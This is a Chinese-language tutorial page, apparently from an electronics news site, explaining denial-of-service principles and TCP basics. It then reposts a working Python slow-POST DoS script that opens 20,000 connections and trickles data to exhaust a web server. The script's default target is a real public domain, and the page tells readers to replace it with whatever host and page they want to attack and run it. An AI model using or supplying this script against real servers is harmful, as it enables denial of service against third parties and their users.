dos攻擊原理及攻擊實例
DoS是Denial of Service的簡稱,即拒絕服務(wù),造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網(wǎng)絡(luò)無法提供正常的服務(wù)。最常見的DoS攻擊有計算機網(wǎng)絡(luò)帶寬攻擊和連通性攻擊。
DoS攻擊是指故意的攻擊網(wǎng)絡(luò)協(xié)議實現(xiàn)的缺陷或直接通過野蠻手段殘忍地耗盡被攻擊對象的資源,目的是讓目標計算機或網(wǎng)絡(luò)無法提供正常的服務(wù)或資源訪問,使目標系統(tǒng)服務(wù)系統(tǒng)停止響應(yīng)甚至崩潰,而在此攻擊中并不包括侵入目標服務(wù)器或目標網(wǎng)絡(luò)設(shè)備。這些服務(wù)資源包括網(wǎng)絡(luò)帶寬,文件系統(tǒng)空間容量,開放的進程或者允許的連接。這種攻擊會導致資源的匱乏,無論計算機的處理速度多快、內(nèi)存容量多大、網(wǎng)絡(luò)帶寬的速度多快都無法避免這種攻擊帶來的后果。
已經(jīng)有很多介紹DOS(Denial of Service,即拒絕服務(wù))攻擊的文章,但是,多數(shù)人還是不知道DOS到底是什么,它到底是怎么實現(xiàn)的。本文主要介紹DOS的機理和常見的實施方法。因前段時間仔細了解了TCP/IP協(xié)議以及RFC文檔,有點心得。同時,文中有部分內(nèi)容參考了Shaft的文章翻譯而得。要想了解DOS攻擊得實現(xiàn)機理,必須對TCP有一定的了解。
1、什么是DOS攻擊
DOS:即Denial Of Service,拒絕服務(wù)的縮寫,可不能認為是微軟的dos操作系統(tǒng)了。好象在5·1的時候鬧過這樣的笑話。拒絕服務(wù),就相當于必勝客在客滿的時候不再讓人進去一樣,呵呵,你想吃餡餅,就必須在門口等吧。DOS攻擊即讓目標機器停止提供服務(wù)或資源訪問。
2、有關(guān)TCP協(xié)議的東西
TCP(transmission control protocol,傳輸控制協(xié)議),是用來在不可靠的因特網(wǎng)上提供可靠的、端到端的字節(jié)流通訊協(xié)議,在RFC793中有正式定義,還有一些解決錯誤的東西在RFC 1122中有記錄,RFC 1323則有TCP的功能擴展。我們常見到的TCP/IP協(xié)議中,IP層不保證將數(shù)據(jù)報正確傳送到目的地,TCP則從本地機器接受用戶的數(shù)據(jù)流,將其分成不超過64K字節(jié)的數(shù)據(jù)片段,將每個數(shù)據(jù)片段作為單獨的IP數(shù)據(jù)包發(fā)送出去,最后在目的地機器中再組合成完整的字節(jié)流,TCP協(xié)議必須保證可靠性。
發(fā)送和接收方的TCP傳輸以數(shù)據(jù)段的形式交換數(shù)據(jù),一個數(shù)據(jù)段包括一個固定的20字節(jié),加上可選部分,后面再跟上數(shù)據(jù),TCP協(xié)議從發(fā)送方傳送一個數(shù)據(jù)段的時候,還要啟動計時器,當數(shù)據(jù)段到達目的地后,接收方還要發(fā)送回一個數(shù)據(jù)段,其中有一個確認序號,它等于希望收到的下一個數(shù)據(jù)段的順序號,如果計時器在確認信息到達前超時了,發(fā)送方會重新發(fā)送這個數(shù)據(jù)段。
上面,我們總體上了解一點TCP協(xié)議,重要的是要熟悉TCP的數(shù)據(jù)頭(header)。因為數(shù)據(jù)流的傳輸最重要的就是header里面的東西,至于發(fā)送的數(shù)據(jù),只是header附帶上的??蛻舳撕头?wù)端的服務(wù)響應(yīng)就是同header里面的數(shù)據(jù)相關(guān),兩端的信息交流和交換是根據(jù)header中的內(nèi)容實施的,因此,要實現(xiàn)DOS,就必須對header中的內(nèi)容非常熟悉。
dos攻擊原理及攻擊實例
dos攻擊原理:DoS攻擊就是利用合理的服務(wù)請求來占用過多的服務(wù)資源,從而使合法用戶無法得到服務(wù)的響應(yīng)。(百度百科說的,大概就是這么個意思)。
dos攻擊與ddos攻擊的區(qū)別就是,它是一對一的攻擊,而ddos是分布式的攻擊,作為入門,作為菜鳥,我們他媽哪里有那么多肉雞給你用。。。所以不過對付一些帶寬小,內(nèi)存低,cpu渣的小型web服務(wù)器還是ok的。
現(xiàn)在,廢話不多說,本地搭建一個web站點測試一下。
測試地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)
測試腳本:網(wǎng)上一堆。給大家轉(zhuǎn)載一個,如下:
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=“www.baidu.com”
PAGE=“/index.php”
#---------------------------
buf=(“POST %s HTTP/1.1\r\n”
“Host: %s\r\n”
“Content-Length: 10000000\r\n”
“Cookie: dklkt_dos_test\r\n”
“\r\n” % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print “Send buf OK!,conn=%d\n”%i
socks.append(s)
except Exception,ex:
print “Could not connect to server or send error:%s”%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send(“f”)
#print “send OK!”
except Exception,ex:
print “Send Exception:%s\n”%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
腳本來源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684
以上是一個python腳本。
HOST=“www.baidu.com”
PAGE=“/index.php”
我們要改的是這兩處地方
改為:
HOST=“192.168.1.110”//你要擼的主機ip地址/域名
PAGE=“/cloudmanage/admin.php”//你要擼的頁面
cmd命令行下執(zhí)行腳本
非常好我支持^.^
(2545) 82.8%
不好我反對
(527) 17.2%
相關(guān)閱讀:
- [電子說] Blackwell GB100能否在超級計算機和AI市場保持領(lǐng)先優(yōu)勢? 2023-10-24
- [電子說] “協(xié)同發(fā)展,生態(tài)聚合” 開放原子1024程序員節(jié)圓滿落幕 2023-10-24
- [電子說] 三星宣布正開發(fā)RGB OLEDoS 蘋果考慮采用 2023-10-24
- [電子說] 模型的帶寬對信號眼圖有什么影響? 2023-10-24
- [電子說] 3線串行數(shù)據(jù)通訊EEPROM的使用 2023-10-23
- [電子說] 電阻的熱噪聲計算方法 2023-10-23
- [電子說] 浩辰軟件深耕CAD領(lǐng)域 致力于成為行業(yè)標桿企業(yè) 2023-10-23
- [電子說] 手持數(shù)字萬用表如何選型? 2023-10-23
( 發(fā)表人:龔婷 )